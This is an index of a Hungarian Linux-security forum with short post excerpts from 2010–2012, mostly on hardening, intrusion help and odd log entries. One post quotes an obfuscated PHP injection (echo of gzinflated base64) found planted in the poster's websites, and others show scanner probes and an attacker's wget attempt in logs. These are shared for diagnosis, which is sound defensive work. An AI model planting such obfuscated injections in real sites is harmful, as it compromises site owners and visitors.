Linux-security

Biztonságos boot

 ( robi772 | 2012. május 17., csütörtök - 10:20 )

Üdv mindenkinek!

Olyan megoldást keresek amelynek segítségével egy terminál be tud boot-olni felhasználói közreműködés nélkül, úgy hogy az adattárolói titkosítva vannak. Az alaplapon van tpm modul csatlakozási lehetőség, illetve usb,soros portos saját hardvert is tudok csinálni a cél érdekében.
Az lenne jó ha van rá lehetőség, hogy a grub a tpm modulból vett kulccsal decrypteli az adathordozót és akkor felbootol, vagy a grub soros-usb porton valami ugrókódos megoldással kapja meg a kulcsot.
De ha van már kész megoldás az lenne a legjobb.

FTP Jelszólopás

 ( karika200 | 2012. március 13., kedd - 11:07 )

Sziasztok!

A napokban érdekes dolgok jelentek meg néhány weboldalam(szerencsére csak hobbi célú lapok) kódjaiban, konkrétan ez:


#b58b6f#
echo(gzinflate(base64_decode("JcvBDYAgDADAVUgHoH8D7NJgVVCEtNXo9j78XnJBs5Rhzt7BEYwfw0o3/QpOJUfYzMaE2GWls+Sl97mR7Gzqc2+eLhQ+mJR9VUgB/5s+")));
#/b58b6f#

Roundcube 0.7.1 produktív környezetben

 ( gorgo75 | 2012. február 28., kedd - 12:38 )

Sziasztok!

használja valaki? Mi a véleményetek róla elsősorban biztonsági szempontból?

köszi
G

Trójaim van?

 ( csonkasanyi | 2012. február 17., péntek - 10:11 )

Sziasztok!
A napokban azt vettük észre, hogy az egyik szerverünk külső hálókártyája random időközönként iszonyatos forgalommal árasztja el a hálózatot.
Először azt gondoltuk, hogy a hálókártya ment tönkre. Kicseréltem, de tegnap délután úőjra előjött a jelenség.
Szerencsére iptraffal sikerült kimonitorozni, és ott a következőt láttam: "Outgoing rates: 7500 kbit/sec", és az iptraf annyit írt, hogy az 50.115.40.202-es címre mennek tőlem udp csomagok! Ha jól fejtettem vissza, akkor ez valami kaliforniai ip...

Ftp elérés https autentikáció után

 ( subset | 2011. november 22., kedd - 15:40 )

Sziasztok,
Érdeklődnék tud-e valaki ingyenes, kész és elérhető megoldást ftp szervernek a címben szereplő megoldással való védelmére.
Jelszó lopó programok elleni védelemre gondolok első sorban. Több hosztinggal foglalkozó szolgáltatónál van már működő rendszer (tudtommal ezek saját fejlesztésűek).
Pl. egy weboldalon felhsználónév+jelszó+captcha trió után x ideig engedi az ftp csatlakozást a juzernek vagy az ip-nek.
Van-e ilyen vagy valami hasonló dolog ?
Álljak neki sajátot fejleszteni (nem vagyok programozó, nehéz lesz :-( )

[WORKAROUNDED]DDOS-olok, de kell a program

 ( pepo | 2011. november 1., kedd - 8:37 )

Sziasztok!

[Szerk:]
Úgy tűnik, a Quake motorban Egy feltörekvő ET modifikáció-ban (N!tmod) bug van, így DDOS-ol a szerverünk. (Érinti valamennyi erre épülő játékszervert.) (Az általunk használt mod fejlesztőjének jeleztem a hibát.)
Azt szeretném megtudni, hogy a tipikus szerver-kliens közti kommunikációt hogyan tudnám "portok" közé szorítani. Íme egy minta:

IP szervercímem.eu.27970 > kliensipje.27960: UDP, length 61
IP kliensipje.27960 > szervercímem.eu.27970: UDP, length 50

SFTP szerver hardening

 ( Sea-you | 2011. szeptember 16., péntek - 17:15 )

Mit tennetek ha egy olyan SFTP szervert kene hardenelnetek ahol a userek fel- es letoltenek es semmi masra nincs szukseg?

Nagyvonalakban:
- Umask 077
- Csak CTR cipherek engedelyezese (AES256 es Blowfish) a CBC cipherekben nem bizunk, akkor sem ha az OpenSSHban mindent megtettek a sebehezhetoseg kivedese erdekeben (http://www.mozilla.org/projects/security/pki/nss/news/vaudenay-cbc.html)
- Compression engedelyezve
- checkFile, versionSelect es posixRename SFTP extensionoket engedelyezzuk, copyFile es vendorID extensionokre deny
- Maximum 5 szimultan kapcsolat egy IProl

Az USA védelmi minsztériuma saját Linuxot adott ki

 ( 4fonya | 2011. július 27., szerda - 13:57 )

Az SG.hu cikke szerint a Pentagon és a Légierő közösen kifejlesztett egy biztonságos Linux telepítőkészletet. A rendszer a működése során nem ment háttértárra semmilyen adatot.
Bárki letöltheti innen: http://www.spi.dod.mil/lipose.htm

Apache sajat RPM

 ( Sea-you | 2011. június 30., csütörtök - 9:58 )

Tegyuk fel, hogy - mivel nem vagy elegedett a vendor altal szallitottal - sajat RPMet csinalsz az Apache httpdbol.

Kerdesek:
- Upstreambol vagy SRPMbol forditanal? Milyen szempontok alapjan?
- Milyen core modulokat raknal bele es miket nem? Miert?
- Az osszes modult egy nagy RPMben szallitanad vagy minden modult kulon RPMbe raknal? Miert?

Nyilvan megvan a sajat velemenyem is, de a tieteket is szeretnem hallani :)

CRON chroot

 ( pr23 | 2011. június 26., vasárnap - 10:24 )

Sziasztok!

Van egy szerverünk, ahol a userek szabadon adhatnak hozzá cron-okat, annyi megkötéssel, hogy csak PHP scripteket tudnak futtatni.
A kérdésem az lenne, hogy meg lehet-e oldani valahogy, hogy ezeket a folyamatokat bechroot-oljuk valahogy?

Előre is köszi minden segítséget!

Linuxos szerver külső és belső security tesztje, auditja

 ( KAMI911 | 2011. május 25., szerda - 17:51 )

Sziasztok,

Ti milyen eszközöket használtok Linuxos szerverek biztonsági tesztelésére? Külső és belső eszközök is érdekelnének. Esetleg olyanok is érdekelnek, amelyek a telepített webes appok biztonságát is megpróbálják ellenőrizni.

Köszi,
KAMI

Debian elérhetetlenné válik

 ( wrie | 2011. április 3., vasárnap - 20:47 )

Sziasztok,

néhány napja az egyik gépem elérhetetlenné vált. Bementem a szerverparkba, és átnéztem a gépet. Látszólag elfogyott a memória, és szépen kilőtte a rendszer a folyamatokat. Muninban látszott egy magas load (25 körül azt hiszem). Ezután nem lehetett a szervert semmilyen formában elérni. Csak a ping működött.

GRSEC-RBAC debian shutdown tanitas ?

 ( vajtsz | 2011. február 23., szerda - 10:46 )

Feltettem a grsecet (High modra van allitva) a gondom az hogy elolvastam dokumentaciojat es keresgeltem is neten de nemnagyon ertem pontosan hogy mukodik a tanulas-ACL generalos dolog.

Alapbol a targyban emlitett shutdown al van gondom, nem jarhato nalam, hogy csak felhasznaloi beavatkozasra alljon le a rendszer mert korlatozott aksiju szunetmentesrol megy a cucc, szal ha kigyogy szufla szunetmentes soros porton leallitja gepet, csakhogy ha GRSEC enabled eppen akkor nemfogja tudni leallitani.

w00tw00.at.* és társainak szimatolása

 ( vmg | 2011. február 14., hétfő - 23:26 )

Sziasztok,

a w00tw00.at.* valamilyen botnet?
Milyen hatékony módszerekkel lehet védekezni a hasonló szimatolgatásokkal szemben?

Az apache access logjában a nevére szűrve ennyi látszik:

208.109.191.74 - - [31/Jan/2011:18:28:56 +0100] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 383 "-" "-"
77.70.54.66 - - [11/Feb/2011:14:13:34 +0100] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 383 "-" "-"
91.121.243.113 - - [11/Feb/2011:22:38:25 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 413 "-" "ZmEu"

tripwire policy regexp

 ( Celtic | 2011. február 9., szerda - 12:38 )

Hulye cim, tudom :) Amugy a kovetkezo erdekel:
Adott egy konyvtar, alkonyvtarakkal, szabvanyos felepitessel, csak mondjuk a 3. szinten valtozik a nev.
pelda:
/var/www/domain1/
/var/www/domain2/
/var/www/domain3/

A fenti alatt mindegyik alkonyvtar szabvanyos, vagyis

/var/www/domain1/etc
/var/www/domain1/home
/var/www/domain1/log
/var/www/domain2/etc
/var/www/domain2/home
/var/www/domain2/log

Namost, logrotate tudja a kovetkezot:
/var/www/*/log/*
Es ilyenkor a /var/www/ alatti osszes alkonyvtar log konyvtaraban az osszes filet rotalja.

Avira 'LINUX/RootKIT/D' találat egy Ubuntu backupban

 ( Deacon | 2011. január 13., csütörtök - 15:48 )

Sziasztok! Nemrég készítettem mentést egy Ubuntu 8.04.4 LTS rendszerről (a fontosabb könyvtárakat egy még évekkel ezelőtt készített szkripttel bepakoltam egy tar.gz-be), aztán leszedtem a gépemre, ahonnan archiválhatom. De gondoltam, előtte mégiscsak kicsomagolom, és átnézem, van-e benne olyan, amit felesleges menteni... Aztán kicsomagolás közben szólt az Avira, hogy rootkit rejtőzik a fájlok között:

ssh - RST Flood?

 ( veresh | 2010. december 12., vasárnap - 18:11 )

Sziasztok!

A szerver logjait nézegetve a következő iptables logokat találtam benne; 13mp-es időközönként egy-egy 4 és fél órán keresztül:


Dec 9 21:14:29 ... SRC=222.73.227.230 ... LEN=40 TOS=0x00 PREC=0x00 TTL=254 ID=5745 PROTO=TCP SPT=29049 DPT=22 WINDOW=0 RES=0x00 RST URGP=0
...
Dec 10 01:42:04 ... SRC=222.73.227.230 ... LEN=40 TOS=0x00 PREC=0x00 TTL=254 ID=10841 PROTO=TCP SPT=39088 DPT=22 WINDOW=0 RES=0x00 RST URGP=0

A csomagokat az alábbi iptables szabályok dobják el (az INPUT láncon ezek előtt csak a loopback engedélyezése van)

Egy halozat vedelmeben

 ( hanzo | 2010. november 28., vasárnap - 11:58 )

Udv tudorok!

Nagy reszt linuxos szerverek vannak egy halozatban. Nagy szamu felhasznaloval.
Mit javasoltok alap security intezkedeseknek.

Amit tartalmaz a halozat:
- VLAN-ok
- wifi halozat
- managelheto szvicsek
- managelheto routerek
- linux, unix, es egy kicsi windowsos szerverek(web, levelezes, mysql es egyeb kategoriaban)

Azt hiszem semmit nem hagytam ki! Alap biztonsagi dolgok erdekelnenek. Ki mivel vedene a halozatat belso illetve kulso tamadas ellen. Johet a leg banalisabb is. :)

Hanzo

[megoldva} Help! Betörtek!

 ( nehai | 2010. november 24., szerda - 21:10 )

Egyik ismerősöm szerverén éppen ki-bejárkálnak. A /tmp/nt könyvtárba tettek fel egy jelszókereső scriptet, azt futtatják 1001 példányban. Találkoztatok már ilyennel? Tud valaki segíteni, hogy hol vagy hogyan keressem a behatolót?

Egyébként webhosting server, kb 200 weblappal és sajnos rendezetlen logokkal. Elég macerás így keresni bennük.

Az apacs error.log-ban találtam egyedül erre utaló nyomokat:

sh: /usr/bin/wget: Permission denied
[Mon Nov 22 20:21:20 2010] [notice] mod_python: Creating 8 session mutexes based on 150 max processes and 0 max threads.

Google bot vs. PAX

 ( KoGa | 2010. szeptember 5., vasárnap - 0:17 )

Mostanaban ilyeneket latok a web szerver logjaban... Latott mar hasonlot valaki?
Az IP a crawl-66-249-66-239.googlebot.com hosthoz tartozik, csak nem engem akarnak hekkelni Google-ek :)

Sep 4 20:28:19 xxxxx kernel: PAX: From 66.249.66.239: execution attempt in: , 00000000-00000000 00000000
Sep 4 20:28:19 xxxxx kernel: PAX: terminating task: /usr/sbin/apache2(apache2):30949, uid/euid: 33/33, PC: 00000000, SP: 5a714aac
Sep 4 20:28:19 xxxxx kernel: PAX: bytes at PC: ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??

Öt év után titokban?

 ( jrewing | 2010. augusztus 23., hétfő - 18:13 )

Öt év után titokban javítottak egy sebezhetőséget a Linux kernelben.

http://pcforum.hu/hirek/12202/Ot+ev+utan+titokban+javitottak+egy+sebezhetoseget+a+Linux+kernelben.html

Avira linuxra

 ( kovacsb | 2010. július 26., hétfő - 22:18 )

Hello!

Érdekelne, hogy van-e valakinek tapasztalata az Avira linuxos kiadásával?
Debian Lennyt használok desktop célokra, és jó lenne, megnézetni a letöltött sz*raimat, mielőtt winet, illetve dosboxot indítok (jórészt régi DOS-os játékok etc.)

(Megoldva) Az opendns/sunbeltdns/googledns beállítása, Smoothwall 3.0SP3-on.

 ( tboyda | 2010. július 22., csütörtök - 20:03 )

Sziasztok!

Mint kezdő „Linux”-os, a segítségeteket szeretném kérni. A gépem előtt van egy másik, PIII-as gép beállítva, tűzfalnak. Ezen a gépen a „smoothwall 3.0 SP1 update7” verziója fut. Szeretném a gépen a UPC-hez kapcsolt dns szerver címét áthelyezni, az opendns-re. És itt kezdődnek a problémáim. Ugyan találtam egy útmutatót, elvileg a „dhcp-vel kiosztott ISP”-kre vonatkozik ez, a „how to” de úgy tűnik, hogy nem nálam....

fail2ban

 ( adriankoooo | 2010. július 8., csütörtök - 18:28 )

Egy kerdesem lenne fail2ban hasznalokhoz! Hogy lehetseges elmenteni a mar bannolt IP cimeket? Ugy veszem eszre, hogy ujrainditas utan szepen kiurulnek az iptablesbol.

Ha elmentenem az iptablest es visszatoltenem, akkor meg szerintem duplikalna oket.

Mi lehet a megoldas?

Internet engedélyezése PID / program alapján

 ( fn26 | 2010. július 6., kedd - 12:21 )

Üdv!

Linux alatt van arra valamiféle lehetőség, hogy beállítsam mondjuk iptables- sel, hogy mely felhasználói programok használhatják mondjuk az Internetet? User szűrésre amennyire tudom van lehetőség, de ez most programokra lenne érdekes.

Köszi.